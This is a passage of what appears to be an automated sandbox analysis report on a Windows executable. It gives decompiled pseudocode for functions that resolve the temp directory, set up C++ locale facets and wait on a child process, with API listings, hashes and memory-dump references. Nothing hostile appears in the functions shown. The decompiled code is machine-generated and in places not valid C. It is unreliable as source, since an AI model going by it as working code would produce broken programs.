						E000AAB90(_t217, _t241, _t257, _t261,  &_v188,  &_v64,  &_v160); // executed
						_t197 = _v188;
						_t270 = _t270 + 0xc;
						if(_t197 == 0 || _t197 == 1 || _v156 != 0) {
							L19:
							_v48 = 0;
							_t199 =  >=  ? _v64 :  &_v64;
							 *((short*)( >=  ? _v64 :  &_v64)) = 0;
							L21:
							_t251 = _v68;
							_v8 = 3;
							if(_t251 < 8) {
								goto L25;
							} else {
								_t240 = _v88;
								_t256 = 2 + _t251 * 2;
								_t186 = _t240;
								if(_t256 < 0x1000) {
									L24:
									_push(_t256);
									E000ED2D0(_t240);
									_t270 = _t270 + 8;
									goto L25;
								} else {
									_t228 =  *((intOrPtr*)(_t240 - 4));
									_t253 = _t256 + 0x23;
									if(_t186 - _t228 + 0xfffffffc > 0x1f) {
										L42:
										E0010F44B(_t217, _t228, _t253, _t257, __eflags);
										asm("int3");
										_push(_t267);
										_push(0xffffffff);
										_push(0x131d50);
										_push( *[fs:0x0]);
										_push(_t261);
										_t163 =  *0x16f170; // 0xd529e887
										_t164 = _t163 ^ _t270;
										__eflags = _t164;
										_push(_t164);
										 *[fs:0x0] =  &_v228;
										_t264 = _t228;
										_v232 = _t264;
										_v236 = _v200;
										asm("xorps xmm0, xmm0");
										 *_t264 = 0x13a468;
										_v220 = 0;
										asm("movq [edx], xmm0");
										_v232 = 1;
										E001041DE( &_v236, _t264 + 4);
										 *_t264 = 0x13b488;
										E00053920(_t264 + 0xc, _v208, _v204);
										 *(_t264 + 0x28) = 0;
										 *((intOrPtr*)(_t264 + 0x2c)) = 0xf;
										 *((char*)(_t264 + 0x18)) = 0;
										 *[fs:0x0] = _v228;
										return _t264;
									} else {
										goto L24;
									}
								}
							}
						} else {
							E000AAB90(_t217, _t241, _t257, _t261,  &_v196,  &_v64,  &_v160); // executed
							_t270 = _t270 + 0xc;
							if(_v196 != 3 || _v156 != 0) {
								goto L19;
							} else {
								_v8 = 0;
								E00054B10(_t217,  &_v88, _t257, _t261);
								break;
							}
						}
					}
					L44:
					L25:
					_t262 = _t261 + 1;
					_v8 = 0;
					_v148 = _t262;
					_t260 =  *(_t267 + _t262 * 4 - 0x24);
				} while (_t260 != 0);
				if(_v48 != 0) {
					L32:
					_t261 = _v164;
					 *(_t261 + 0x10) = 0;
					 *(_t261 + 0x14) = 7;
					 *_t261 = 0;
					_v8 = 5;
					if(_t261 ==  &_v64) {
						goto L39;
					} else {
						_t227 =  *(_t261 + 0x14);
						if(_t227 < 8) {
							L38:
							asm("movups xmm0, [ebp-0x3c]");
							 *(_t261 + 0x10) = 0;
							 *(_t261 + 0x14) = 7;
							asm("movups [esi], xmm0");
							_v64 = 0;
							asm("movq xmm0, [ebp-0x2c]");
							asm("movq [esi+0x10], xmm0");
							_v48 = 0;
							_v44 = 7;
							goto L39;
						} else {
							_t157 =  *_t261;
							_t228 = 2 + _t227 * 2;
							if(_t228 < 0x1000) {
								L37:
								_push(_t228);
								E000ED2D0(_t157);
								goto L38;
							} else {
								_t253 =  *((intOrPtr*)(_t157 - 4));
								_t228 = _t228 + 0x23;
								if(_t157 - _t253 + 0xfffffffc > 0x1f) {
									goto L42;
								} else {
									_t157 = _t253;
									goto L37;
								}
							}
						}
					}
				} else {
					_t257 = GetWindowsDirectoryW;
					_push( &_v137);
					E000959C0( &_v160, GetWindowsDirectoryW, GetWindowsDirectoryW(0, 0));
					_t266 = _v160;
					_t174 = _v156;
					_v8 = 4;
					if(_t266 == _t174 || GetWindowsDirectoryW(_t266, _t174 - _t266 >> 1) == 0) {
						_push("boost::filesystem::temp_directory_path");
						E000AA340(GetLastError(), _v168);
						_t261 = _v164;
						 *(_t261 + 0x10) = 0;
						 *(_t261 + 0x14) = 7;
						 *_t261 = 0;
						E00064340(_t217,  &_v160, _t257);
						L39:
						E00054B10(_t217,  &_v64, _t257, _t261);
						 *[fs:0x0] = _v16;
						return E000ECED8(_v20 ^ _t267);
					} else {
						_t234 = _t266;
						_t255 =  &(_t234[1]);
						do {
							_t182 =  *_t234;
							_t234 =  &(_t234[1]);
						} while (_t182 != 0);
						_push(_t234 - _t255 >> 1);
						E00068410(_t217,  &_v64, _t255, _t266);
						E000AB8A0(_t217,  &_v64, GetWindowsDirectoryW, _t266, L"Temp");
						E00064340(_t217,  &_v160, GetWindowsDirectoryW);
						goto L32;
					}
				}
				goto L44;
			}

0x000aae00
0x000aae00
0x000aae03
0x000aae05
0x000aae10
0x000aae11
0x000aae17
0x000aae1c
0x000aae1e
0x000aae22
0x000aae23
0x000aae27
0x000aae2d
0x000aae30
0x000aae36
0x000aae3f
0x000aae47
0x000aae51
0x000aae58
0x000aae5f
0x000aae66
0x000aae6d
0x000aae74
0x000aae7b
0x000aae82
0x000aae86
0x000aae89
0x000aae8e
0x000aae94
0x000aae9a
0x000aaead
0x000aaeb2
0x000aaeb8
0x000aaebe
0x000aaec4
0x000aaf19
0x000aaf20
0x000aaf27
0x000aaf33
0x000aaf3a
0x000aaf3a
0x000aaed7
0x000aaed7
0x000aaed9
0x000aaee2
0x000aaee9
0x000aaeed
0x000aaef0
0x000aaef0
0x000aaef3
0x000aaef6
0x000aaeff
0x000aaf04
0x000aaf0f
0x000aaf12
0x000aaf12
0x000aaf3d
0x000aaf40
0x000aaf45
0x000aaf4b
0x000aaf4f
0x000aaf54
0x000aaf5b
0x000aaf62
0x000aaf67
0x000aaf6c
0x000aaf77
0x000aaf7d
0x000aaf82
0x000aaf82
0x000aaf8a
0x000aaf92
0x000aaf98
0x000aaf98
0x000aafa3
0x000aafa8
0x000aafab
0x000aafb1
0x000ab07a
0x00000000
0x000aafb7
0x000aafbe
0x000aafbf
0x000aafc3
0x000aafc7
0x000aafcc
0x000aafd5
0x000aafdc
0x000aafdf
0x000aafdf
0x000aafea
0x000aaff8
0x000ab006
0x000ab011
0x000ab016
0x000ab01c
0x000ab021
0x000ab061
0x000ab068
0x000ab06f
0x000ab075
0x000ab080
0x000ab080
0x000ab083
0x000ab08a
0x00000000
0x000ab08c
0x000ab08c
0x000ab08f
0x000ab096
0x000ab09e
0x000ab0b4
0x000ab0b4
0x000ab0b6
0x000ab0bb
0x00000000
0x000ab0a0
0x000ab0a0
0x000ab0a3
0x000ab0ae
0x000ab25a
0x000ab25a
0x000ab25f
0x000ab260
0x000ab263
0x000ab265
0x000ab270
0x000ab274
0x000ab275
0x000ab27a
0x000ab27a
0x000ab27c
0x000ab280
0x000ab286
0x000ab288
0x000ab291
0x000ab294
0x000ab29b
0x000ab2a2
0x000ab2a9
0x000ab2ad
0x000ab2b1
0x000ab2b9
0x000ab2c8
0x000ab2cd
0x000ab2d6
0x000ab2dd
0x000ab2e4
0x000ab2f0
0x00000000
0x00000000
0x00000000
0x000ab0ae
0x000ab09e
0x000ab031
0x000ab043
0x000ab048
0x000ab052
0x00000000
0x000ab209
0x000ab20c
0x000ab210
0x00000000
0x000ab210
0x000ab052
0x000ab021
0x00000000
0x000ab0be
0x000ab0be
0x000ab0bf
0x000ab0c3
0x000ab0c9
0x000ab0cd
0x000ab0d9
0x000ab158
0x000ab158
0x000ab160
0x000ab167
0x000ab16e
0x000ab174
0x000ab17a
0x00000000
0x000ab17c
0x000ab17c
0x000ab182
0x000ab1b5
0x000ab1b5
0x000ab1b9
0x000ab1c2
0x000ab1c9
0x000ab1cc
0x000ab1d0
0x000ab1d5
0x000ab1da
0x000ab1dd
0x00000000
0x000ab184
0x000ab184
0x000ab186
0x000ab193
0x000ab1ab
0x000ab1ab
0x000ab1ad
0x00000000
0x000ab195
0x000ab195
0x000ab198
0x000ab1a3
0x00000000
0x000ab1a9
0x000ab1a9
0x00000000
0x000ab1a9
0x000ab1a3
0x000ab193
0x000ab182
0x000ab0db
0x000ab0db
0x000ab0e7
0x000ab0f5
0x000ab0fa
0x000ab100
0x000ab106
0x000ab10c
0x000ab21a
0x000ab22c
0x000ab231
0x000ab242
0x000ab249
0x000ab250
0x000ab253
0x000ab1e4
0x000ab1e7
0x000ab1f1
0x000ab208
0x000ab122
0x000ab122
0x000ab124
0x000ab127
0x000ab127
0x000ab12a
0x000ab12d
0x000ab136
0x000ab13b
0x000ab148
0x000ab153
0x00000000
0x000ab153
0x000ab10c
0x00000000

APIs

GetEnvironmentVariableW.KERNEL32(TMP,00000000,00000000,?,D529E887), ref: 000AAEA0
GetEnvironmentVariableW.KERNEL32(TMP,?,?,00000000), ref: 000AAECD

Part of subcall function 000AAB90: GetFileAttributesW.KERNELBASE(?,D529E887,?,?,?,?,?,?,00133E80,000000FF,?,00055195), ref: 000AABD2
Part of subcall function 000AAB90: CreateFileW.KERNEL32(?,00000000,00000007,00000000,00000003,02000000,00000000), ref: 000AAC5B
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACB3
Part of subcall function 000AAB90: CloseHandle.KERNEL32(00000000), ref: 000AACC3

GetWindowsDirectoryW.KERNEL32(00000000,00000000,?,00000000), ref: 000AB0EC
GetWindowsDirectoryW.KERNEL32(?,?,00000000), ref: 000AB118

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

GetLastError.KERNEL32(?,boost::filesystem::temp_directory_path,00000000), ref: 000AB225

Part of subcall function 000AA340: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA3FE

Strings

TMP, xrefs: 000AAE51, 000AAE89, 000AAE9F, 000AAECC
boost::filesystem::temp_directory_path, xrefs: 000AB21A
Temp, xrefs: 000AAFD7, 000AB140

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: CloseDirectoryEnvironmentFileHandleVariableWindows$AttributesCreateErrorException@8FeatureLastPresentProcessorThrow___raise_securityfailure
String ID: TMP$Temp$boost::filesystem::temp_directory_path
API String ID: 2631244396-2096131944
Opcode ID: 38cdb56bd96854314c86b2860439b7c4966421981fc99eb912b08558f92ce100
Instruction ID: 1845c62b99d2e0dd67f2eac9002b349737b23ab979e28c0b37eba582f0ddcab3
Opcode Fuzzy Hash: 38cdb56bd96854314c86b2860439b7c4966421981fc99eb912b08558f92ce100
Instruction Fuzzy Hash: 69C18C71D00258CFDF24CFA4CC55BDEB7B4AF46304F108699E859A7292EB74AA84CF61

Uniqueness

Uniqueness Score: 100.00%

Function 000569D0, Relevance: 10.7, APIs: 7, Instructions: 153
UNIQUE

Download Yara Rule

C-Code - Quality: 59%

			E000569D0(void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v16;
				char _v24;
				char _v32;
				intOrPtr* _v36;
				intOrPtr* _v44;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				short _v120;
				char _v124;
				short _v128;
				intOrPtr _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t43;
				void* _t53;
				intOrPtr _t56;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t63;
				intOrPtr _t65;
				intOrPtr _t70;
				intOrPtr _t71;
				void* _t72;
				intOrPtr _t76;
				void* _t85;
				intOrPtr* _t86;
				intOrPtr _t87;
				void* _t89;
				intOrPtr* _t90;
				char* _t92;
				void* _t99;
				signed int _t102;
				void* _t106;
				void* _t107;
				void* _t112;

				_t112 = __eflags;
				_t83 = __edx;
				_t72 = _t99;
				_t102 = (_t99 - 0x00000008 & 0xfffffff8) + 4;
				_v8 =  *((intOrPtr*)(_t72 + 4));
				_push(0xffffffff);
				_push(0x12d01d);
				_push( *[fs:0x0]);
				_push(_t72);
				_push(_t89);
				_push(_t85);
				_t43 =  *0x16f170; // 0xd529e887
				_push(_t43 ^ _t102);
				 *[fs:0x0] =  &_v24;
				_push(1);
				_v16 = 0;
				_t90 = E000D977E(_t72, _t85, _t89);
				_v44 = _t90;
				_push(0x34);
				_v16 = 1;
				_t86 = E000ECF08(_t90, _t112);
				_v36 = _t86;
				 *((intOrPtr*)(_t86 + 4)) = 0;
				_v16 = 3;
				 *_t86 = 0x13ab78;
				E000D71DA( &_v152, 0);
				_v148 = 0;
				_v144 = 0;
				_v140 = 0;
				_v136 = 0;
				_v132 = 0;
				_v128 = 0;
				_v124 = 0;
				_v120 = 0;
				_v116 = 0;
				_v112 = 0;
				_v108 = 0;
				_v104 = 0;
				_v16 = 0xa;
				E000D9885(_t72, __edx, _t86, _t112,  &_v152, "C");
				_t53 = E000DA744(_t72, __edx, _t112,  &_v100);
				asm("movups xmm0, [eax]");
				asm("movups [edi+0x8], xmm0");
				asm("movups xmm0, [eax+0x10]");
				asm("movups [edi+0x18], xmm0");
				asm("movq xmm0, [eax+0x20]");
				asm("movq [edi+0x28], xmm0");
				 *((intOrPtr*)(_t86 + 0x30)) =  *((intOrPtr*)(_t53 + 0x28));
				E00051E90( &_v152);
				_push(_t90);
				 *_t86 = 0x151d9c;
				_v16 = 1;
				_t56 = L000D98EA(_t72, _t86, _t112);
				_t76 =  *0x17920c; // 0x1a
				_t106 = _t102 - 0x80 + 0x18;
				_v36 = _t56;
				 *0x17a3b8 = _t56;
				if(_t76 == 0) {
					E000D71DA( &_v32, _t76);
					if( *0x17920c == 0) {
						_t70 =  *0x179200; // 0x27
						_t71 = _t70 + 1;
						 *0x179200 = _t71;
						 *0x17920c = _t71;
					}
					E000D7232( &_v32);
					_t76 =  *0x17920c; // 0x1a
					_t56 = _v36;
				}
				_push(_t76);
				_push(_t86);
				_push(_t56);
				E000D87A2(_t72, _t83, _t86, _t90);
				_t58 =  *0x17a3b8; // 0x4fadc0
				_t107 = _t106 + 0xc;
				 *((intOrPtr*)(_t58 + 0x10)) = 0;
				_t87 =  *0x17a3b8; // 0x4fadc0
				_t59 =  *((intOrPtr*)(_t87 + 0x18));
				if(_t59 == "*") {
					L12:
					_v16 = 0xb;
					if(_t90 != 0) {
						_t63 =  *((intOrPtr*)( *((intOrPtr*)( *_t90 + 8))))();
						if(_t63 != 0) {
							 *((intOrPtr*)( *_t63))(1);
						}
					}
					 *[fs:0x0] = _v24;
					return 0x17a3b4;
				} else {
					if(_t59 != 0) {
						L0010FD0E(_t59);
						_t107 = _t107 + 4;
					}
					 *((intOrPtr*)(_t87 + 0x18)) = 0;
					_t92 = "*";
					do {
						_t92 =  &(_t92[1]);
					} while ( *_t92 != 0);
					_t94 =  &(_t92[1]) - "*";
					_push( &(_t92[1]) - "*");
					_t65 = E00110641(_t76);
					 *((intOrPtr*)(_t87 + 0x18)) = _t65;
					if(_t65 != 0) {
						E001048E0(_t65, "*", _t94);
					}
					_t90 = _v44;
					goto L12;
				}
			}

0x000569d0
0x000569d0
0x000569d1
0x000569d9
0x000569e0
0x000569e6
0x000569e8
0x000569f3
0x000569f4
0x000569fb
0x000569fc
0x000569fd
0x00056a04
0x00056a08
0x00056a0e
0x00056a10
0x00056a1c
0x00056a1e
0x00056a21
0x00056a23
0x00056a2f
0x00056a34
0x00056a37
0x00056a3e
0x00056a4a
0x00056a50
0x00056a55
0x00056a5f
0x00056a66
0x00056a6d
0x00056a73
0x00056a7a
0x00056a7e
0x00056a81
0x00056a85
0x00056a88
0x00056a8b
0x00056a8e
0x00056a97
0x00056aa1
0x00056aaa
0x00056ab8
0x00056abb
0x00056abf
0x00056ac3
0x00056ac7
0x00056acc
0x00056ad4
0x00056ad7
0x00056adc
0x00056add
0x00056ae3
0x00056ae7
0x00056aec
0x00056af2
0x00056af5
0x00056af8
0x00056aff
0x00056b05
0x00056b11
0x00056b13
0x00056b18
0x00056b19
0x00056b1e
0x00056b1e
0x00056b26
0x00056b2b
0x00056b31
0x00056b31
0x00056b34
0x00056b35
0x00056b36
0x00056b37
0x00056b3c
0x00056b41
0x00056b44
0x00056b4b
0x00056b51
0x00056b59
0x00056ba3
0x00056ba3
0x00056bac
0x00056bb5
0x00056bb9
0x00056bc1
0x00056bc1
0x00056bb9
0x00056bcb
0x00056bdb
0x00056b5b
0x00056b5d
0x00056b60
0x00056b65
0x00056b65
0x00056b68
0x00056b6f
0x00056b74
0x00056b74
0x00056b75
0x00056b7b
0x00056b81
0x00056b82
0x00056b8a
0x00056b8f
0x00056b98
0x00056b9d
0x00056ba0
0x00000000
0x00056ba0

APIs

std::locale::_Init.LIBCPMT ref: 00056A17

Part of subcall function 000D977E: __EH_prolog3.LIBCMT ref: 000D9785
Part of subcall function 000D977E: std::_Lockit::_Lockit.LIBCPMT ref: 000D9790
Part of subcall function 000D977E: std::locale::_Setgloballocale.LIBCPMT ref: 000D97AB
Part of subcall function 000D977E: std::_Lockit::~_Lockit.LIBCPMT ref: 000D9801

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

std::_Lockit::_Lockit.LIBCPMT ref: 00056A50
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00056AA1
__Getcvt.LIBCPMT ref: 00056AAA

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Lockit::_Lockit.LIBCPMT ref: 00056B05
std::_Lockit::~_Lockit.LIBCPMT ref: 00056B26
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00056B37

Part of subcall function 000D87A2: __EH_prolog3.LIBCMT ref: 000D87A9
Part of subcall function 000D87A2: std::_Lockit::_Lockit.LIBCPMT ref: 000D87B3
Part of subcall function 000D87A2: std::_Lockit::~_Lockit.LIBCPMT ref: 000D8857
Part of subcall function 000D87A2: Concurrency::cancel_current_task.LIBCPMT ref: 000D8862
Part of subcall function 000D87A2: __EH_prolog3.LIBCMT ref: 000D886F

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$H_prolog3std::locale::_$Locinfo::_$AddfacConcurrency::cancel_current_taskException@8GetcvtInitLocimp::_Locimp_Locinfo_ctorLocinfo_dtorSetgloballocaleThrow
String ID:
API String ID: 647010382-0
Opcode ID: 3be2cc24ac4eaafd274f0de516ff22371f8dd43c35ecde658935c258b13ae208
Instruction ID: c72e712dc083f3c43ad3e3884f3ccb4956fea28cb18e7972894068268673aa8a
Opcode Fuzzy Hash: 3be2cc24ac4eaafd274f0de516ff22371f8dd43c35ecde658935c258b13ae208
Instruction Fuzzy Hash: 905194B0D00345DFEB10DFA8C94579EBBF4BF54300F104269E848A7352E7759998CB91

Uniqueness

Uniqueness Score: 100.00%

Function 00070750, Relevance: 10.6, APIs: 7, Instructions: 125
UNIQUE

Download Yara Rule

C-Code - Quality: 64%

			E00070750(void* __ebx, void* __edx, intOrPtr* _a4) {
				char _v8;
				char _v16;
				char _v20;
				intOrPtr* _v24;
				char _v28;
				char _v44;
				char _v88;
				char _v140;
				void* __edi;
				void* __esi;
				signed int _t39;
				intOrPtr* _t43;
				intOrPtr _t46;
				intOrPtr _t49;
				void* _t54;
				intOrPtr* _t59;
				void* _t61;
				signed int _t66;
				signed int _t67;
				void* _t68;
				intOrPtr _t71;
				intOrPtr _t75;
				void* _t81;
				signed int _t83;
				intOrPtr* _t87;
				signed int _t89;
				void* _t96;

				_t81 = __edx;
				_t68 = __ebx;
				_push(0xffffffff);
				_push(0x12f18f);
				_push( *[fs:0x0]);
				_t39 =  *0x16f170; // 0xd529e887
				_push(_t39 ^ _t89);
				 *[fs:0x0] =  &_v16;
				E000D71DA( &_v28, 0);
				_v8 = 0;
				_t83 =  *0x179214; // 0xe
				_t43 =  *0x17a3f8; // 0x4f3eb8
				_v24 = _t43;
				if(_t83 == 0) {
					E000D71DA( &_v20, _t83);
					_t96 =  *0x179214 - _t83; // 0xe
					if(_t96 == 0) {
						_t66 =  *0x179200; // 0x27
						_t67 = _t66 + 1;
						 *0x179200 = _t67;
						 *0x179214 = _t67;
					}
					E000D7232( &_v20);
					_t83 =  *0x179214; // 0xe
				}
				_t71 =  *((intOrPtr*)(_a4 + 4));
				if(_t83 >=  *((intOrPtr*)(_t71 + 0xc))) {
					_t87 = 0;
					__eflags = 0;
					L8:
					if( *((char*)(_t71 + 0x14)) == 0) {
						L11:
						if(_t87 != 0) {
							L21:
							E000D7232( &_v28);
							 *[fs:0x0] = _v16;
							return _t87;
						}
						L12:
						_t46 = _v24;
						if(_t46 == 0) {
							_push(0x44);
							_t87 = E000ECF08(_t87, __eflags);
							_v24 = _t87;
							_v8 = 1;
							_t75 =  *((intOrPtr*)(_a4 + 4));
							__eflags = _t75;
							if(_t75 != 0) {
								_t49 =  *((intOrPtr*)(_t75 + 0x18));
								__eflags = _t49;
								if(_t49 == 0) {
									_t49 = _t75 + 0x1c;
								}
							} else {
								_t49 = 0x15063e;
							}
							E00051DD0(_t68,  &_v140, _t81, _t83, _t49); // executed
							 *((intOrPtr*)(_t87 + 4)) = 0;
							_t28 = _t87 + 4; // 0x4
							 *_t87 = 0x13abd4;
							E000DA466( &_v140, _t28, __eflags,  &_v44);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x8], xmm0");
							_t54 = E000DA744(_t68, _t81, __eflags,  &_v88);
							asm("movups xmm0, [eax]");
							asm("movups [esi+0x18], xmm0");
							asm("movups xmm0, [eax+0x10]");
							asm("movups [esi+0x28], xmm0");
							asm("movq xmm0, [eax+0x20]");
							asm("movq [esi+0x38], xmm0");
							 *((intOrPtr*)(_t87 + 0x40)) =  *((intOrPtr*)(_t54 + 0x28));
							E00051E90( &_v140);
							_a4 = _t87;
							_v8 = 2;
							E000D974C(__eflags, _t87);
							_t59 =  *((intOrPtr*)( *_t87 + 4));
							__eflags = _t59 - 0x52060;
							if(_t59 != 0x52060) {
								 *_t59();
							} else {
								asm("lock inc dword [edi]");
							}
							 *0x17a3f8 = _t87;
						} else {
							_t87 = _t46;
						}
						goto L21;
					}
					_t61 = E000D9778();
					if(_t83 >=  *((intOrPtr*)(_t61 + 0xc))) {
						goto L12;
					}
					_t87 =  *((intOrPtr*)( *((intOrPtr*)(_t61 + 8)) + _t83 * 4));
					goto L11;
				}
				_t87 =  *((intOrPtr*)( *((intOrPtr*)(_t71 + 8)) + _t83 * 4));
				if(_t87 != 0) {
					goto L21;
				}
				goto L8;
			}

0x00070750
0x00070750
0x00070753
0x00070755
0x00070760
0x00070766
0x0007076d
0x00070771
0x0007077c
0x00070781
0x00070788
0x0007078e
0x00070793
0x00070798
0x0007079e
0x000707a3
0x000707a9
0x000707ab
0x000707b0
0x000707b1
0x000707b6
0x000707b6
0x000707be
0x000707c3
0x000707c3
0x000707cc
0x000707d2
0x000707e4
0x000707e4
0x000707e6
0x000707ea
0x000707fc
0x000707fe
0x000708c7
0x000708ca
0x000708d4
0x000708e1
0x000708e1
0x00070804
0x00070804
0x00070809
0x00070812
0x00070819
0x0007081e
0x00070821
0x00070828
0x0007082b
0x0007082d
0x00070836
0x00070839
0x0007083b
0x0007083d
0x0007083d
0x0007082f
0x0007082f
0x0007082f
0x00070847
0x0007084f
0x00070856
0x00070859
0x00070860
0x00070865
0x0007086c
0x00070870
0x0007087e
0x00070881
0x00070885
0x00070889
0x0007088d
0x00070892
0x0007089a
0x0007089d
0x000708a2
0x000708a6
0x000708aa
0x000708b4
0x000708b7
0x000708bc
0x000708e4
0x000708be
0x000708be
0x000708be
0x000708c1
0x0007080b
0x0007080b
0x0007080b
0x00000000
0x00070809
0x000707ec
0x000707f4
0x00000000
0x00000000
0x000707f9
0x00000000
0x000707f9
0x000707d7
0x000707dc
0x00000000
0x00000000
0x00000000

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0007077C
std::_Lockit::_Lockit.LIBCPMT ref: 0007079E
std::_Lockit::~_Lockit.LIBCPMT ref: 000707BE

Part of subcall function 000ECF08: __CxxThrowException@8.LIBVCRUNTIME ref: 000EE12F

Part of subcall function 00051DD0: std::_Lockit::_Lockit.LIBCPMT ref: 00051DFD
Part of subcall function 00051DD0: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00051E4C
Part of subcall function 00051DD0: __CxxThrowException@8.LIBVCRUNTIME ref: 00051E7E

__Getctype.LIBCPMT ref: 00070860
__Getcvt.LIBCPMT ref: 00070870

Part of subcall function 00051E90: std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00051EB6
Part of subcall function 00051E90: std::_Lockit::~_Lockit.LIBCPMT ref: 00051F4A

std::_Facet_Register.LIBCPMT ref: 000708AA
std::_Lockit::~_Lockit.LIBCPMT ref: 000708CA

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Locinfo::_Throw$Facet_GetctypeGetcvtLocinfo_ctorLocinfo_dtorRegister
String ID:
API String ID: 2980000318-0
Opcode ID: 00d73ae78488705fe991e1ae6c419fb2c95c4b6e3cf7ca169b8941b2a91f5029
Instruction ID: c1a6d7ee5d989b7c13d0d6c222965e130e810640b0de6a720409d88fdcbec5d4
Opcode Fuzzy Hash: 00d73ae78488705fe991e1ae6c419fb2c95c4b6e3cf7ca169b8941b2a91f5029
Instruction Fuzzy Hash: BE51CD70D04205DBDB21DF58C940AAAB7F4FF14710F148259E88DAB252EB34BA85CBE2

Uniqueness

Uniqueness Score: 100.00%

Function 000565E0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92
synchronizationUNIQUE

Download Yara Rule

C-Code - Quality: 75%

			E000565E0(void* __ebx, void** __ecx, void* __edx, intOrPtr* _a8, short** _a20) {
				void** _v0;
				long _v12;
				char _v24;
				long _v28;
				short* _v32;
				char _v36;
				intOrPtr _v40;
				char* _v44;
				void* __edi;
				void* __ebp;
				void* _t32;
				void* _t38;
				long _t59;
				int _t63;
				void* _t64;
				void* _t67;
				signed int _t77;
				short* _t78;
				void** _t81;
				void* _t84;
				void** _t89;
				intOrPtr _t90;
				int _t95;
				void** _t96;
				short* _t98;
				void* _t105;
				signed int _t107;
				void* _t110;

				_t84 = __edx;
				_t72 = __ecx;
				_t67 = __ebx;
				_push(_t95);
				_t89 = __ecx;
				_t32 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
				_t110 = (_t107 & 0xfffffff8) - 0x18 + 0xc;
				if(_t32 == 0) {
					E0010F5C4(__ebx, __ecx, __edx, __ecx);
					goto L16;
				} else {
					if(__ecx[6] != 0) {
						L14:
						return _t32;
					} else {
						_t32 =  *(__ecx[4]);
						if(_t32 != 0x103) {
							goto L14;
						} else {
							_t32 =  *__ecx;
							if(_t32 == 0 || _t32 == 0xffffffff) {
								goto L14;
							} else {
								_v28 = 1;
								if(WaitForSingleObject(_t32, 0xffffffff) != 0xffffffff) {
									_t63 = GetExitCodeProcess( *_t89,  &_v28); // executed
									_t95 = _t63;
									_t64 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
									_t110 = _t110 + 0xc;
									if(_t95 != 0) {
										_t95 = 0;
										if(_t64 == 0) {
											goto L17;
										} else {
											goto L10;
										}
									} else {
										goto L8;
									}
								} else {
									_t64 = E000D7269(0x17a40c, E000735B0, 0x17a3a0);
									_t110 = _t110 + 0xc;
									L8:
									if(_t64 == 0) {
										L17:
										E0010F5C4(_t67, _t72, _t84, _t89);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_t105 = _t110;
										_push(_t72);
										_push(_t95);
										_t96 = _t72;
										_t38 =  *_t96;
										if(_t38 == 0 || _t38 == 0xffffffff || _t96[6] != 0 ||  *(_t96[4]) != 0x103) {
											return 0;
										} else {
											if(GetExitCodeProcess( *_t96,  &_v12) != 0) {
												_push(_t89);
												_t89 = _v0;
												 *_t89 = 0;
												if(E000D7269(0x17a40c, E000735B0, 0x17a3a0) == 0) {
													goto L34;
												} else {
													_t89[1] = 0x17a3a0;
													goto L27;
												}
											} else {
												if(E000D7269(0x17a40c, E000735B0, 0x17a3a0) == 0) {
													L34:
													E0010F5C4(_t67, _t72, _t84, _t89);
													asm("int3");
													asm("int3");
													_push(_t105);
													_push(_t96);
													_push(_t89);
													AreFileApisANSI();
													_t98 = _v32;
													_t90 = _v40;
													asm("sbb edx, edx");
													_t77 = MultiByteToWideChar(_t84 + 1, 1, _v44, _t90 - _v44, _t98, _v28 - _t98 >> 1);
													if(_t77 != 0) {
														_t78 =  &(_t98[_t77]);
